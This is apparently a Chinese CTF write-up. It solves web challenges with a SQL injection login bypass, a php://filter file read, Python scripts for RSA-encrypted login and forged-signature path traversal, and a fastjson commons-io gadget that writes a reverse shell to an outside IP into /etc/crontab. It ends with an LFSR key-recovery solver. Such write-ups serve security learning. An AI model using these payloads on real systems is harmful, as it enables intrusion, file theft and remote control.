web

SecretPhotoGallery

username=admin&password=admin' UNION SELECT 1,'admin',3 --

发现有role是guest

源码提示key
image.png

GALLERY2024SECRET

image.png

image.pngimage.png

然后文件包含

action=export&filepath=php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php

image.png

devweb

前端js加密但是泄露key
image.png

写个脚本登录 密码是123456

import requests
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import urllib.parse

# ================= 配置 =================
# 目标 URL
TARGET_URL = "http://14df2224-4567-4723-bb53-10d93663bd62.node5.buuoj.cn:81/login"

# 源码中注释掉的公钥
PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="

# 构造 PEM 格式
PEM_PUBLIC_KEY = f"-----BEGIN PUBLIC KEY-----\n{PUBLIC_KEY_STR}\n-----END PUBLIC KEY-----"

def rsa_encrypt_base64(content):
    """
    使用 PKCS1_v1_5 加密,并返回 Base64 字符串 (匹配 JSEncrypt 行为)
    """
    try:
        rsakey = RSA.import_key(PEM_PUBLIC_KEY)
        cipher = PKCS1_v1_5.new(rsakey)
        # 1. 加密
        encrypted_bytes = cipher.encrypt(content.encode('utf-8'))
        # 2. 转 Base64 (修复 500 错误的关键)
        encrypted_b64 = base64.b64encode(encrypted_bytes).decode('utf-8')
        return encrypted_b64
    except Exception as e:
        print(f"[!] 加密错误: {e}")
        return None

def attempt_login(username, raw_password):
    # 1. 加密密码
    enc_password = rsa_encrypt_base64(raw_password)
    if not enc_password:
        return

    # 2. 构造请求数据
    # requests 的 data 字典会自动进行 URL 编码
    payload = {
        "username": username,
        "password": enc_password
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }

    try:
        print(f"[*] 发送 Payload -> 用户名: {username} | 密码(明文): {raw_password}")
        
        # 3. 发送 POST 请求
        
        print(payload)      
        res = requests.post(TARGET_URL, data=payload, headers=headers, allow_redirects=False, timeout=5)

        # 4. 结果判定
        if res.status_code == 200:
            # 检查响应内容判断是否成功,不同题目关键字不同,常见: 'success', 'flag', 'dashboard', 'token'
            if "登录失败" not in res.text and ("success" in res.text or "true" in res.text or len(res.text) < 500):
                print(f"[+] 登录成功! 响应内容: {res.text[:100]}...")
            else:
                print(f"[-] 登录失败 (200 OK 但内容不对)")
        elif res.status_code == 302:
            print(f"[+] 登录成功! (302 跳转) -> Location: {res.headers.get('Location')}")
        elif res.status_code == 500:
            print(f"[!] 500 错误: 后端解密依然失败。可能原因:公钥错误(假Key) 或 填充模式不对。")
        else:
            print(f"[-] 状态码: {res.status_code}")

    except Exception as e:
        print(f"[!] 请求异常: {e}")

if __name__ == "__main__":
    print("--- 开始测试 ---")
    
    attempt_login("admin", "123456")

image.png

登上去可以使用download这个接口
image.png

http://14df2224-4567-4723-bb53-10d93663bd62.node5.buuoj.cn/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6

可以下载app.jmx
里面给了下载文件所需要的salt这样可以实现任意文件下载
image.png
写个脚本吧

import hashlib
import requests
import base64
import urllib.parse
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5

# ================= 配置区域 =================
# 基础域名 (注意端口号 81)
HOST = ""

# 接口路径
LOGIN_URL = f"{HOST}/login"
DOWNLOAD_URL = f"{HOST}/download"

# 签名所需的盐值 (从 app.jmx 逆向获得)
SALT = "f9bc855c9df15ba7602945fb939deefc"

# RSA 公钥 (从前端源码获得)
PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
PEM_PUBLIC_KEY = f"-----BEGIN PUBLIC KEY-----\n{PUBLIC_KEY_STR}\n-----END PUBLIC KEY-----"

class CTFExploit:
    def __init__(self):
        # 使用 Session 以保持 Cookie (如果下载需要登录态)
        self.session = requests.Session()
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) CTF-Exploit/1.0"
        })

    def _rsa_encrypt(self, content):
        """
        RSA 加密逻辑: PKCS1_v1_5 填充 -> Base64 编码
        """
        try:
            rsakey = RSA.import_key(PEM_PUBLIC_KEY)
            cipher = PKCS1_v1_5.new(rsakey)
            encrypted_bytes = cipher.encrypt(content.encode('utf-8'))
            return base64.b64encode(encrypted_bytes).decode('utf-8')
        except Exception as e:
            print(f"[!] 加密错误: {e}")
            return None

    def _calculate_sign(self, filename):
        """
        签名计算逻辑: MD5( MD5(filename) + substr(MD5(filename), 5, 16) + SALT )
        """
        # 1. firstMi = MD5(filename)
        first_mi = hashlib.md5(filename.encode('utf-8')).hexdigest()
        
        # 2. jieStr = firstMi.substring(5, 16)
        jie_str = first_mi[5:16]
        
        # 3. 拼接
        new_str = first_mi + jie_str + SALT
        
        # 4. sign = MD5(new_str)
        sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()
        return sign

    def login(self, username, password):
        """
        执行登录
        """
        print(f"[*] 正在尝试登录: {username} / {password}")
        enc_password = self._rsa_encrypt(password)
        
        if not enc_password:
            return False

        payload = {
            "username": username,
            "password": enc_password
        }
        
        # 显式指定 Content-Type
        headers = {"Content-Type": "application/x-www-form-urlencoded"}

        try:
            # 使用 session 发送
            res = self.session.post(LOGIN_URL, data=payload, headers=headers, timeout=10)
            
            if res.status_code == 200 and ("成功" in res.text or "success" in res.text):
                print(f"[+] 登录成功!")
                return True
            elif res.status_code == 500:
                print("[-] 登录返回 500 (可能公钥不对或后端报错)")
            else:
                print(f"[-] 登录失败: {res.status_code} - {res.text[:50]}")
        except Exception as e:
            print(f"[!] 登录请求异常: {e}")
        return False

    def download_file(self, target_path):
        """
        执行文件下载
        """
        sign = self._calculate_sign(target_path)
        print("-" * 50)
        print(f"[*] 尝试下载文件: {target_path}")
        print(f"[*] 计算签名: {sign}")

        params = {
            "file": target_path,
            "sign": sign
        }

        try:
            # 使用 session 发送 GET 请求
            resp = self.session.get(DOWNLOAD_URL, params=params)

            if resp.status_code == 200:
                content_len = len(resp.content)
                print(f"[+] 下载成功! 大小: {content_len} bytes")
                
                if content_len > 0:
                    print("\n[vvv 文件内容 vvv]")
                    try:
                        # 尝试解码为文本
                        print(resp.content.decode('utf-8'))
                    except:
                        # 二进制文件打印 Hex
                        print(resp.content[:100])
                    print("[^^^ 文件内容 ^^^]\n")
                else:
                    print("[!] 文件内容为空")
            else:
                print(f"[-] 下载失败: HTTP {resp.status_code}")
                # 500 通常意味着文件不存在或者 Java 抛出了异常
                if resp.status_code == 500:
                    print("    提示: 500 错误可能表示文件路径不存在,或者被安全策略拦截。")

        except Exception as e:
            print(f"[!] 下载请求异常: {e}")

if __name__ == "__main__":
    exploit = CTFExploit()
    exploit.login("admin", "123456")

    target_files = [
        "../../../../../../flag",
    ]

    for file_path in target_files:
        exploit.download_file(file_path)

sunset(复现)

弱口令 admin:123456登录

image.png
进去是一个密码重置功能,然后就没有其他功能点了
image.png

看到json格式是数据包可以测一手fastjson

{"@type":"java.lang.AutoCloseable"

image.png

fastjson 1.2.68 主要有一下打法

  1. Mysql connector RCE
  2. commons io 文件读写
  3. Jetty SSRF
  4. Apache xbean-reflect RCE

这里可以直接使用commons io 写文件,直接写定时任务

{
  "x": {
    "@type": "com.alibaba.fastjson.JSONObject",
    "input": {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "org.apache.commons.io.input.CharSequenceReader",
        "charSequence": {
          "@type": "java.lang.String""* * * * * root bash -c 'bash -i >& /dev/tcp/117.72.157.7/4567 0>&1' 
#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        },
        "charsetName": "UTF-8",
        "bufferSize": 1024
      },
      "branch": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.output.WriterOutputStream",
        "writer": {
          "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
          "file": "/etc/crontab",
          "encoding": "UTF-8",
          "append": false
        },
        "charsetName": "UTF-8",
        "bufferSize": 1024,
        "writeImmediately": true
      },
      "trigger": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.XmlStreamReader",
        "is": {
          "@type": "org.apache.commons.io.input.TeeInputStream",
          "input": {
            "$ref": "$.input"
          },
          "branch": {
            "$ref": "$.branch"
          },
          "closeBranch": true
        },
        "httpContentType": "text/xml",
        "lenient": false,
        "defaultEncoding": "UTF-8"
      },
      "trigger2": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.XmlStreamReader",
        "is": {
          "@type": "org.apache.commons.io.input.TeeInputStream",
          "input": {
            "$ref": "$.input"
          },
          "branch": {
            "$ref": "$.branch"
          },
          "closeBranch": true
        },
        "httpContentType": "text/xml",
        "lenient": false,
        "defaultEncoding": "UTF-8"
      },
      "trigger3": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.XmlStreamReader",
        "is": {
          "@type": "org.apache.commons.io.input.TeeInputStream",
          "input": {
            "$ref": "$.input"
          },
          "branch": {
            "$ref": "$.branch"
          },
          "closeBranch": true
        },
        "httpContentType": "text/xml",
        "lenient": false,
        "defaultEncoding": "UTF-8"
      }
    }
  }
}

Crypto

lost LFSR key

from Crypto.Util.number import long_to_bytes
import itertools
import string

# 题目数据
mask = 9319439021858903464
c = 8882504877732087312989345828667663333297225833982945014279010438327750150593504327259176959316943362605442206624947923157363187067410478202161873663103506

# --------------------------
# 1. GF(2) 矩阵运算工具 (带零空间求解)
# --------------------------
class GF2Solver:
    def __init__(self, size):
        self.size = size

    def vec_mul_mat(self, vec, mat):
        """行向量乘以矩阵 (vec * M)"""
        res = 0
        for col in range(self.size):
            dot = 0
            for row in range(self.size):
                if (vec >> row) & 1:
                    if mat[row][col]:
                        dot ^= 1
            if dot:
                res |= (1 << col)
        return res

    def gauss_jordan(self, matrix, targets):
        """
        高斯-若尔当消元,返回:
        1. 特解 (particular_solution)
        2. 零空间基向量列表 (null_space_basis)
        """
        rows = len(matrix)
        cols = len(matrix[0])
        
        # 构建增广矩阵 [M | targets]
        # 为了方便处理,我们用 list of lists 存储
        aug = [row[:] + [targets[i]] for i, row in enumerate(matrix)]
        
        pivot_row = 0
        pivot_cols = [] # 记录主元所在的列
        
        for j in range(cols):
            if pivot_row >= rows:
                break
            
            # 寻找当前列 j 中,行 i >= pivot_row 的非零元素
            curr = pivot_row
            while curr < rows and aug[curr][j] == 0:
                curr += 1
            
            if curr == rows:
                continue #这一列全是0,是自由变量
            
            # 交换行
            aug[pivot_row], aug[curr] = aug[curr], aug[pivot_row]
            pivot_cols.append(j)
            
            # 消元
            for i in range(rows):
                if i != pivot_row and aug[i][j] == 1:
                    for k in range(j, cols + 1):
                        aug[i][k] ^= aug[pivot_row][k]
            
            pivot_row += 1

        # 秩就是主元的个数
        rank = len(pivot_cols)
        print(f"[*] Matrix Rank: {rank}/{cols}. Free variables: {cols - rank}")

        # 提取特解
        particular = 0
        # 对每个主元列,找到其对应的行,取增广部分的值
        # 由于是RREF,主元所在的行就是 aug[i],且 aug[i][pivot_col] == 1 是该行唯一的非零主元
        for i, p_col in enumerate(pivot_cols):
            if aug[i][cols] == 1:
                particular |= (1 << p_col)
        
        # 提取零空间 (Null Space)
        # 自由变量是指不在 pivot_cols 中的列
        free_vars = [j for j in range(cols) if j not in pivot_cols]
        null_basis = []
        
        for free in free_vars:
            # 构造一个基向量:设该自由变量为1,其他自由变量为0
            # 然后求出主元变量的值
            basis = (1 << free)
            # 对于每个主元行 i,其对应的主元变量 x_{p_col} 满足:
            # x_{p_col} + \sum (aug[i][free] * x_{free}) = 0  (也就是 = sum(...))
            for i, p_col in enumerate(pivot_cols):
                if aug[i][free] == 1:
                    basis |= (1 << p_col)
            null_basis.append(basis)
            
        return particular, null_basis

# --------------------------
# 2. 构建矩阵和方程
# --------------------------
N = 64
solver = GF2Solver(N)

# 构建状态转移矩阵 T
T = [[0] * N for _ in range(N)]
for i in range(N):
    if (mask >> i) & 1: T[0][i] = 1
for r in range(1, N): T[r][r-1] = 1

# 收集方程
equations = []
targets = []
current_relation = mask # Mask * T^0
c_bin = bin(c)[2:].zfill(512)

for i in range(512):
    if i % 8 == 0:
        row = [(current_relation >> j) & 1 for j in range(N)]
        equations.append(row)
        targets.append(int(c_bin[i]))
    current_relation = solver.vec_mul_mat(current_relation, T)

# --------------------------
# 3. 求解与穷举
# --------------------------
print("Solving...")
base_seed, null_basis = solver.gauss_jordan(equations, targets)

# 模拟器用于验证
class myRNG_solved():
    def __init__(self, seed, mask):
        self.seed = seed
        self.mask = mask
    def next(self):
        i = self.seed & self.mask
        Out = 0
        while i != 0:
            Out = Out ^ (i & 1)
            i = i >> 1
        self.seed = ((self.seed << 1) | Out) & ((1 << 64) - 1)
        return Out
    def get_myRNG_randbits(self, n):
        temp = 0
        for i in range(n):
            temp = (temp << 1) | self.next()
        return temp
